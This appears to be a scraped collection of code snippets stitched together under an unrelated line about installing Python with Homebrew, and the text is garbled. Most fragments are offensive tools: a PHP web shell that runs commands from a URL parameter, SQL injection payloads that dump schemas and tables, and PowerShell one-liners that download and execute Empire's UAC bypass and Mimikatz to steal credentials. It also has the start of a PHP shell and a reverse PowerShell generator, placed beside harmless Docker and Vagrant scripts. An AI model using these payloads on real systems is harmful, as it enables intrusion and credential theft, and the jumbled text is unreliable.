You can install the latest python 2 and python 3 by homebrew.
- Python 2 Installation
brew install python
- Python 3 Installation
| <pre> | |
| <?php $z = system($_GET["zet"]); echo $z; ?> | |
| </pre> |
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYqYPUIQI8Zx0676qMU/zPhrd1gFu6IkzTmTFs77CFEhLiDETxX37nXlCQrgc0LHzTAdRpD/k4zgxpm+SqSixfBhG7TCfKBO3OvIrqs2qylnI+Q/GHAlfrrUbY4mFR2PohnqOgGPZjcI7fAd0Tr/Ib3SQv0dJ4z148ovjpqkmmkXG+Bb3ddWOo256ftCu9OIi7YW1+bENkJsiL1rj4DvRcn3o4nUJr7DbPaJqlIOI3OmTrHDuuE+EEGfbjjTdxQU2/TOFSUSDTVMUhk5pWX6XNx6c7yzalwEzFjhEgNFxN6JYftRSnx+201B15nd5s7qEy56E3avXTNRd301/0p1KnTo6HoEtN9ffeniQpGF7Rmw+fPCsN78eoYOjqcqdja9Ndh2otGMOi3/2gDAGC354IwrLbJdFxd/yRVHjlWto6xhYrFMCmyOoiC3Pe7y5YLSw4nfylVMWKvhGHJXce1RXQ/ean5bwciTh+kvDU2yAWb/nUo2+Lm2vKw2jY6AA/ZMM= root@zetlab |
| DIOS (Dump In One Shot) Collection | |
| ======================================= | |
| concat_ws('<br>','zet',database(),version(),user(),@@hostname,(select(group_concat('<br>',table_name,':',column_name))from(information_schema.columns)where(table_Schema=database()))) | |
| (select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.schemata)%20where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,schema_name))))x) | |
| (select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.tables)%20where%20(table_schema=database())%20and%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,table_name))))x) |
| #!/bin/bash | |
| if [ "$1" == "test" ]; then | |
| if [ "$2" == "start" ]; then | |
| teststart=$(docker start 7b46ed805e27) | |
| echo "MobSF container on $teststart is started http://127.0.0.1:8000/" | |
| elif [ "$2" == "stop" ]; then | |
| teststop=$(docker stop 7b46ed805e27) | |
| echo "MobSF container on $teststop is stopped!" | |
| else |
| #!/bin/bash | |
| cm=$1 | |
| if [[ $cm == 'start' ]]; then | |
| cd ~/Vagrant/labs && | |
| vagrant up && | |
| vagrant ssh | |
| elif [[ $cm == 'stop' ]]; then | |
| cd ~/Vagrant/labs && | |
| vagrant halt |
| # Description: | |
| # Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing. | |
| # Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" | |
| # Invoke-Mimikatz: Dump credentials from memory | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" | |
| # Import Mimikatz Module to run further commands |
| /*<?php /**/ | |
| @error_reporting(0); | |
| @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); | |
| $dis=@ini_get('disable_functions'); | |
| if(!empty($dis)){ | |
| $dis=preg_replace('/[, ]+/', ',', $dis); | |
| $dis=explode(',', $dis); | |
| $dis=array_map('trim', $dis); | |
| }else{ | |
| $dis=array(); |
| #!/bin/bash | |
| red="\e[1;31m" | |
| reset="\033[00m" | |
| # Install dependency | |
| echo -e "$red Installing dependencies...$reset" | |
| apt install -y apt-transport-https ca-certificates curl software-properties-common | |
| # Add GPG key | |
| echo -e "$red Add GPG key...$reset" |
| #!/usr/bin/env python3 | |
| # | |
| # generate reverse powershell cmdline with base64 encoded args | |
| # | |
| import sys | |
| import base64 | |
| def help(): | |
| print("USAGE: %s IP PORT" % sys.argv[0]) |